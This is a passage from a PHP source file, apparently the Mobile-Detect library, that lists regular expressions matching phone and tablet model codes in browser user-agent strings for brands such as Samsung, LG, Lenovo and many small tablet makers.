100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N7105|SCH-I535|SM-N900A|SGH-I317|SGH-T999L|GT-S5360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|GT-S5310|GT-I9105|GT-I8510|GT-S6790N|SM-G7105|SM-N9005|GT-S5301|GT-I9295|GT-I9195|SM-C101|GT-S7392|GT-S7560|GT-B7610|GT-I5510|GT-S7582|GT-S7530E|GT-I8750|SM-G9006V|SM-G9008V|SM-G9009D|SM-G900A|SM-G900D|SM-G900F|SM-G900H|SM-G900I|SM-G900J|SM-G900K|SM-G900L|SM-G900M|SM-G900P|SM-G900R4|SM-G900S|SM-G900T|SM-G900V|SM-G900W8|SHV-E160K|SCH-P709|SCH-P729|SM-T2558|GT-I9205|SM-G9350|SM-J120F|SM-G920F|SM-G920V|SM-G930F|SM-N910C|SM-A310F|GT-I9190|SM-J500FN|SM-G903F|SM-J330F|SM-G610F|SM-G981B|SM-G892A|SM-A530F|SM-G988N|SM-G781B|SM-A805N|SM-G965F',
        'LG'            => '\bLG\b;|LG[- ]?(C800|C900|E400|E610|E900|E-900|F160|F180K|F180L|F180S|730|855|L160|LS740|LS840|LS970|LU6200|MS690|MS695|MS770|MS840|MS870|MS910|P500|P700|P705|VM696|AS680|AS695|AX840|C729|E970|GS505|272|C395|E739BK|E960|L55C|L75C|LS696|LS860|P769BK|P350|P500|P509|P870|UN272|US730|VS840|VS950|LN272|LN510|LS670|LS855|LW690|MN270|MN510|P509|P769|P930|UN200|UN270|UN510|UN610|US670|US740|US760|UX265|UX840|VN271|VN530|VS660|VS700|VS740|VS750|VS910|VS920|VS930|VX9200|VX11000|AX840A|LW770|P506|P925|P999|E612|D955|D802|MS323|M257)|LM-G710',
        'Sony'          => 'SonyST|SonyLT|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i|LT28h|LT26w|SonyEricssonMT27i|C5303|C6902|C6903|C6906|C6943|D2533|SOV34|601SO|F8332',
        'Asus'          => 'Asus.*Galaxy|PadFone.*Mobile|ASUS_Z01QD|ASUS_X00TD',
        'Xiaomi'        => '^(?!.*\bx11\b).*xiaomi.*$|POCOPHONE F1|\bMI\b 8|\bMi\b 10|Redmi Note 9S|Redmi 5A|Redmi Note 5A Prime|Redmi Note 7 Pro|N2G47H|M2001J2G|M2001J2I|M1805E10A|M2004J11G|M1902F1G|M2002J9G|M2004J19G|M2003J6A1G|M2012K11C|M2007J1SC',
        'NokiaLumia'    => 'Lumia [0-9]{3,4}',
        // http://www.micromaxinfo.com/mobiles/smartphones
        // Added because the codes might conflict with Acer Tablets.
        'Micromax'      => 'Micromax.*\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\b',
        // @todo Complete the regex.
        'Palm'          => 'PalmSource|Palm', // avantgo|blazer|elaine|hiptop|plucker|xiino ;
        'Vertu'         => 'Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature', // Just for fun ;)
        // http://www.pantech.co.kr/en/prod/prodList.do?gbrand=VEGA (PANTECH)
        // Most of the VEGA devices are legacy. PANTECH seem to be newer devices based on Android.
        'Pantech'       => 'PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790',
        // http://www.fly-phone.com/devices/smartphones/ ; Included only smartphones.
        'Fly'           => 'IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250',
        // http://fr.wikomobile.com
        'Wiko'          => 'KITE 4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX 4G|RAINBOW|BLOOM|SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK PEAX|CINK PEAX 2|CINK SLIM|CINK SLIM 2|CINK +|CINK KING|CINK PEAX|CINK SLIM|SUBLIM',
        'iMobile'        => 'i-mobile (IQ|i-STYLE|idea|ZAA|Hitz)',
        // Added simvalley mobile just for fun. They have some interesting devices.
        // http://www.simvalley.fr/telephonie---gps-_22_telephonie-mobile_telephones_.html
        'SimValley'     => '\b(SP-80|XT-930|SX-340|XT-930|SX-310|SP-360|SP60|SPT-800|SP-120|SPT-800|SP-140|SPX-5|SPX-8|SP-100|SPX-8|SPX-12)\b',
         // Wolfgang - a brand that is sold by Aldi supermarkets.
         // http://www.wolfgangmobile.com/
        'Wolfgang'      => 'AT-B24D|AT-AS50HD|AT-AS40W|AT-AS55HD|AT-AS45q2|AT-B26D|AT-AS50Q',
        'Alcatel'       => 'Alcatel',
        'Nintendo'      => 'Nintendo (3DS|Switch)',
        // http://en.wikipedia.org/wiki/Amoi
        'Amoi'          => 'Amoi',
        // http://en.wikipedia.org/wiki/INQ
        'INQ'           => 'INQ',
        'OnePlus'       => 'ONEPLUS',
        // @Tapatalk is a mobile app; http://support.tapatalk.com/threads/smf-2-0-2-os-and-browser-detection-plugin-and-tapatalk.15565/#post-79039
        'GenericPhone'  => 'Tapatalk|PDA;|SAGEM|\bmmp\b|pocket|\bpsp\b|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|\bwap\b|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser',
    ];

    /**
     * List of tablet devices.
     *
     * @var array
     */
    protected static array $tabletDevices = [
        // @todo: check for mobile friendly emails topic.
        'iPad'              => 'iPad|iPad.*Mobile',
        // Removed |^.*Android.*Nexus(?!(?:Mobile).)*$
        // @see #442
        // @todo Merge NexusTablet into GoogleTablet.
        'NexusTablet'       => 'Android.*Nexus[\s]+(7|9|10)',
        // https://en.wikipedia.org/wiki/Pixel_C
        'GoogleTablet'           => 'Android.*Pixel C',
        'SamsungTablet'     => 'SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1003|GT-P1010|GT-P3105|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3108|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|GT-P7501|GT-N5100|GT-N5105|GT-N5110|SHV-E140K|SHV-E140L|SHV-E140S|SHV-E150S|SHV-E230K|SHV-E230L|SHV-E230S|SHW-M180K|SHW-M180L|SHW-M180S|SHW-M180W|SHW-M300W|SHW-M305W|SHW-M380K|SHW-M380S|SHW-M380W|SHW-M430W|SHW-M480K|SHW-M480S|SHW-M480W|SHW-M485W|SHW-M486W|SHW-M500W|GT-I9228|SCH-P739|SCH-I925|GT-I9200|GT-P5200|GT-P5210|GT-P5210X|SM-T311|SM-T310|SM-T310X|SM-T210|SM-T210R|SM-T211|SM-P600|SM-P601|SM-P605|SM-P900|SM-P901|SM-T217|SM-T217A|SM-T217S|SM-P6000|SM-T3100|SGH-I467|XE500|SM-T110|GT-P5220|GT-I9200X|GT-N5110X|GT-N5120|SM-P905|SM-T111|SM-T2105|SM-T315|SM-T320|SM-T320X|SM-T321|SM-T520|SM-T525|SM-T530NU|SM-T230NU|SM-T330NU|SM-T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|SM-T707V|SM-T807V|SM-P600X|SM-P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T330|SM-T530|SM-T705|SM-T705C|SM-T535|SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|SM-T707A|SM-T807A|SM-T237|SM-T807P|SM-P607T|SM-T217T|SM-T337T|SM-T807T|SM-T116NQ|SM-T116BU|SM-P550|SM-T350|SM-T550|SM-T9000|SM-P9000|SM-T705Y|SM-T805|GT-P3113|SM-T710|SM-T810|SM-T815|SM-T360|SM-T533|SM-T113|SM-T335|SM-T715|SM-T560|SM-T670|SM-T677|SM-T377|SM-T567|SM-T357T|SM-T555|SM-T561|SM-T713|SM-T719|SM-T813|SM-T819|SM-T580|SM-T355Y?|SM-T280|SM-T817A|SM-T820|SM-W700|SM-P580|SM-T587|SM-P350|SM-P555M|SM-P355M|SM-T113NU|SM-T815Y|SM-T585|SM-T285|SM-T825|SM-W708|SM-T835|SM-T830|SM-T837V|SM-T720|SM-T510|SM-T387V|SM-P610|SM-T290|SM-T515|SM-T590|SM-T595|SM-T725|SM-T817P|SM-P585N0|SM-T395|SM-T295|SM-T865|SM-P610N|SM-P615|SM-T970|SM-T380|SM-T5950|SM-T905|SM-T231|SM-T500|SM-T860|SM-T536|SM-T837A|SM-X200|SM-T220|SM-T870|SM-X906C|SM-X700|SM-X706|SM-X706B|SM-X706U|SM-X706N|SM-X800|SM-X806|SM-X806B|SM-X806U|SM-X806N|SM-X900|SM-X906|SM-X906B|SM-X906U|SM-X906N|SM-P613', // SCH-P709|SCH-P729|SM-T2558|GT-I9205 - Samsung Mega - treat them like a regular phone.
        // http://docs.aws.amazon.com/silk/latest/developerguide/user-agent.html
        'Kindle'            => 'Kindle|Silk.*Accelerated|Android.*\b(KFOT|KFTT|KFJWI|KFJWA|KFOTE|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|WFJWAE|KFSAWA|KFSAWI|KFASWI|KFARWI|KFFOWI|KFGIWI|KFMEWI)\b|Android.*Silk/[0-9.]+ like Chrome/[0-9.]+ (?!Mobile)',
        // Only the Surface tablets with Windows RT are considered mobile.
        // http://msdn.microsoft.com/en-us/library/ie/hh920767(v=vs.85).aspx
        'SurfaceTablet'     => 'Windows NT [0-9.]+; ARM;.*(Tablet|ARMBJS)',
        // http://shopping1.hp.com/is-bin/INTERSHOP.enfinity/WFS/WW-USSMBPublicStore-Site/en_US/-/USD/ViewStandardCatalog-Browse?CatalogCategoryID=JfIQ7EN5lqMAAAEyDcJUDwMT
        'HPTablet'          => 'HP Slate (7|8|10)|HP ElitePad 900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10',
        // Watch out for PadFone, see #132.
        // http://www.asus.com/de/Tablets_Mobile/Memo_Pad_Products/
        'AsusTablet'        => '^.*PadFone((?!Mobile).)*$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|Slider SL101|\bK00F\b|\bK00C\b|\bK00E\b|\bK00L\b|TX201LA|ME176C|ME102A|\bM80TA\b|ME372CL|ME560CG|ME372CG|ME302KL| K01A | K010 | K011 | K017 | K01E |ME572C|ME103K|ME170C|ME171C|\bME70C\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z|\bP027\b|\bP024\b|\bP00C\b',
        'BlackBerryTablet'  => 'PlayBook|RIM Tablet',
        'HTCtablet'         => 'HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410',
        'MotorolaTablet'    => 'xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617',
        'NookTablet'        => 'Android.*Nook|NookColor|nook browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD Zoom2',
        // http://www.acer.ro/ac/ro/RO/content/drivers
        // http://www.packardbell.co.uk/pb/en/GB/content/download (Packard Bell is part of Acer)
        // http://us.acer.com/ac/en/US/content/group/tablets
        // http://www.acer.de/ac/de/DE/content/models/tablets/
        // Can conflict with Micromax and Motorola phones codes.
        'AcerTablet'        => 'Android.*; \b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\b|W3-810|\bA3-A10\b|\bA3-A11\b|\bA3-A20\b|\bA3-A30|A3-A40',
        // http://eu.computers.toshiba-europe.com/innovation/family/Tablets/1098744/banner_id/tablet_footerlink/
        // http://us.toshiba.com/tablets/tablet-finder
        // http://www.toshiba.co.jp/regza/tablet/
        'ToshibaTablet'     => 'Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO',
        // http://www.nttdocomo.co.jp/english/service/developer/smart_phone/technical_info/spec/index.html
        // http://www.lg.com/us/tablets
        'LGTablet'          => '\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\b',
        'FujitsuTablet'     => 'Android.*\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\b',
        // Prestigio Tablets http://www.prestigio.com/support
        'PrestigioTablet'   => 'PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|PMT5887|PMT5001|PMT5002',
        // http://support.lenovo.com/en_GB/downloads/default.page?#
        'LenovoTablet'      => 'Lenovo TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-850M|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)(FL|F|HV|H|)|TB-X103F|TB-X304X|TB-X304F|TB-X304L|TB-X505F|TB-X505L|TB-X505X|TB-X605F|TB-X605L|TB-8703F|TB-8703X|TB-8703N|TB-8704N|TB-8704F|TB-8704X|TB-8704V|TB-7304F|TB-7304I|TB-7304X|Tab2A7-10F|Tab2A7-20F|TB2-X30L|YT3-X50L|YT3-X50F|YT3-X50M|YT-X705F|YT-X703F|YT-X703L|YT-X705L|YT-X705X|TB2-X30F|TB2-X30L|TB2-X30M|A2107A-F|A2107A-H|TB3-730F|TB3-730M|TB3-730X|TB-7504F|TB-7504X|TB-X704F|TB-X104F|TB3-X70F|TB-X705F|TB-8504F|TB3-X70L|TB3-710F|TB-X704L|TB-J606F|TB-X606F|TB-X306X|YT-J706X|TB128FU',
        // http://www.dell.com/support/home/us/en/04/Products/tab_mob/tablets
        'DellTablet'        => 'Venue 11|Venue 8|Venue 7|Dell Streak 10|Dell Streak 7',
        'XiaomiTablet'      => '21051182G',
        // http://www.yarvik.com/en/matrix/tablets/
        'YarvikTablet'      => 'Android.*\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\b',
        'MedionTablet'      => 'Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB',
        'ArnovaTablet'      => '97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2',
        // http://www.intenso.de/kategorie_en.php?kategorie=33
        // @todo: http://www.nbhkdz.com/read/b8e64202f92a2df129126bff.html - investigate
        'IntensoTablet'     => 'INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004',
        // IRU.ru Tablets http://www.iru.ru/catalog/soho/planetable/
        'IRUTablet'         => 'M702pro',
        'MegafonTablet'     => 'MegaFon V9|\bZTE V9\b|Android.*\bMT7A\b',
        // http://www.e-boda.ro/tablete-pc.html
        'EbodaTablet'       => 'E-Boda (Supreme|Impresspeed|Izzycomm|Essential)',
        // http://www.allview.ro/produse/droseries/lista-tablete-pc/
        'AllViewTablet'           => 'Allview.*(Viva|Alldro|City|Speed|All TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)',
        // http://wiki.archosfans.com/index.php?title=Main_Page
        // @note Rewrite the regex format after we add more UAs.
        'ArchosTablet'      => '\b(101G9|80G9|A101IT)\b|Qilive 97R|Archos5|\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|c|)(G10| Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\b',
        // http://www.ainol.com/plugin.php?identifier=ainol&module=product
        'AinolTablet'       => 'NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark',
        'NokiaLumiaTablet'  => 'Lumia 2520',
        // @todo: inspect http://esupport.sony.com/US/p/select-system.pl?DIRECTOR=DRIVER
        // Readers http://www.atsuhiro-me.net/ebook/sony-reader/sony-reader-web-browser
        // http://www.sony.jp/support/tablet/
        'SonyTablet'        => 'Sony.*Tablet|Xperia Tablet|Sony Tablet S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP641|SGP612|SOT31|SGP771|SGP611|SGP612|SGP712',
        // http://www.support.philips.com/support/catalog/worldproducts.jsp?userLanguage=en&userCountry=cn&categoryid=3G_LTE_TABLET_SU_CN_CARE&title=3G%20tablets%20/%20LTE%20range&_dyncharset=UTF-8
        'PhilipsTablet'     => '\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\b',
        // db + http://www.cube-tablet.com/buy-products.html
        'CubeTablet'        => 'Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE U8GT',
        // http://www.cobyusa.com/?p=pcat&pcat_id=3001
        'CobyTablet'        => 'MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010',
        // http://www.match.net.cn/products.asp
        'MIDTablet'         => 'M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10',
        // http://www.msi.com/support
        // @todo Research the Windows Tablets.
        'MSITablet' => 'MSI \b(Primo 73K|Primo 73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|Primo 91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 10)\b',
        // @todo http://www.kyoceramobile.com/support/drivers/
    //    'KyoceraTablet' => null,
        // @todo http://intexuae.com/index.php/category/mobile-devices/tablets-products/
    //    'IntextTablet' => null,
        // http://pdadb.net/index.php?m=pdalist&list=SMiT (NoName Chinese Tablets)
        // http://www.imp3.net/14/show.php?itemid=20454
        'SMiTTablet'        => 'Android.*(\bMID\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)',
        // http://www.rock-chips.com/index.php?do=prod&pid=2
        'RockChipTablet'    => 'Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A',
        // http://www.fly-phone.com/devices/tablets/ ; http://www.fly-phone.com/service/
        'FlyTablet'         => 'IQ310|Fly Vision',
        // http://www.bqreaders.com/gb/tablets-prices-sale.html
        'bqTablet'          => 'Android.*(bq)?.*\b(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|Aquaris ([E|M]10|M8))\b|Maxwell.*Lite|Maxwell.*Plus',
        // http://www.huaweidevice.com/worldwide/productFamily.do?method=index&directoryId=5011&treeId=3290
        // http://www.huaweidevice.com/worldwide/downloadCenter.do?method=index&directoryId=3372&treeId=0&tb=1&type=software (including legacy tablets)
        'HuaweiTablet'      => 'MediaPad|MediaPad 7 Youth|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim|M2-A01L|BAH-L09|BAH-W09|AGS-L09|CMR-AL19|KOB2-L09|BG2-U01|BG2-W09|BG2-U03',
        // Nec or Medias Tab
        'NecTablet'         => '\bN-06D|\bN-08D',
        // Pantech Tablets: http://www.pantechusa.com/phones/
        'PantechTablet'     => 'Pantech.*P4100',
        // Broncho Tablets: http://www.broncho.cn/ (hard to find)
        'BronchoTablet'     => 'Broncho.*(N701|N708|N802|a710)',
        // http://versusuk.com/support.html
        'VersusTablet'      => 'TOUCHPAD.*[78910]|\bTOUCHTAB\b',
        // http://www.zync.in/index.php/our-products/tablet-phablets
        'ZyncTablet'        => 'z1000|Z99 2G|z930|z990|z909|Z919|z900', // Removed "z999" because of https://github.com/serbanghita/Mobile-Detect/issues/717
        // http://www.positivoinformatica.com.br/www/pessoal/tablet-ypy/
        'PositivoTablet'    => 'TB07STA|TB10STA|TB07FTA|TB10FTA',
        // https://www.nabitablet.com/
        'NabiTablet'        => 'Android.*\bNabi',
        'KoboTablet'        => 'Kobo Touch|\bK080\b|\bVox\b Build|\bArc\b Build',
        // French Danew Tablets http://www.danew.com/produits-tablette.php
        'DanewTablet'       => 'DSlide.*\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\b',
        // Texet Tablets and Readers http://www.texet.ru/tablet/
        'TexetTablet'       => 'NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|TB-436|TB-416|TB-146SE|TB-126SE',
        // Avoid detecting 'PLAYSTATION 3' as mobile.
        'PlaystationTablet' => 'Playstation.*(Portable|Vita)',
        // http://www.trekstor.de/surftabs.html
        'TrekstorTablet'    => 'ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab',
        // http://www.pyleaudio.com/Products.aspx?%2fproducts%2fPersonal-Electronics%2fTablets
        'PyleAudioTablet'   => '\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\b',
        // http://www.advandigital.com/index.php?link=content-product&jns=JP001
        // because of the short codenames we have to include whitespaces to reduce the possible conflicts.
        'AdvanTablet'       => 'Android.* \b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\b ',
        // http://www.danytech.com/category/tablet-pc
        'DanyTechTablet' => 'Genius Tab G3|Genius Tab S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|Genius TAB GII|Genius TAB GIII|Genius Tab S1',
        // http://www.galapad.net/product.html ; https://github.com/serbanghita/Mobile-Detect/issues/761
        'GalapadTablet'     => 'Android [0-9.]+; [a-z-]+; \bG1\b',
        // http://www.micromaxinfo.com/tablet/funbook
        'MicromaxTablet'    => 'Funbook|Micromax.*\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\b',
        // http://www.karbonnmobiles.com/products_tablet.php
        'KarbonnTablet'     => 'Android.*\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\b',
        // http://www.myallfine.com/Products.asp
        'AllFineTablet'     => 'Fine7 Genius|Fine7 Shine|Fine7 Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide',
        // http://www.proscanvideo.com/products-search.asp?itemClass=TABLET&itemnmbr=
        'PROSCANTablet'     => '\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\b',
        // http://www.yonesnav.com/products/products.php
        'YONESTablet' => 'BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026',
        // http://www.cjshowroom.com/eproducts.aspx?classcode=004001001
        // China manufacturer makes tablets for different small brands (eg. http://www.zeepad.net/index.html)
        'ChangJiaTablet'    => 'TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|TPC10111|TPC10203|TPC10205|TPC10503',
        // http://www.gloryunion.cn/products.asp
        // http://www.allwinnertech.com/en/apply/mobile.html
        // http://www.ptcl.com.pk/pd_content.php?pd_id=284 (EVOTAB)
        // @todo: Softwiner tablets?
        // aka. Cute or Cool tablets. Not sure yet, must research to avoid collisions.
        'GUTablet'          => 'TX-A1301|TX-M9002|Q702|kf026', // A12R|D75A|D77|D79|R83|A95|A106C|R15|A75|A76|D71|D72|R71|R73|R77|D82|R85|D92|A97|D92|R91|A10F|A77F|W71F|A78F|W78F|W81F|A97F|W91F|W97F|R16G|C72|C73E|K72|K73|R96G
        // http://www.pointofview-online.com/showroom.php?shop_mode=product_listing&category_id=118
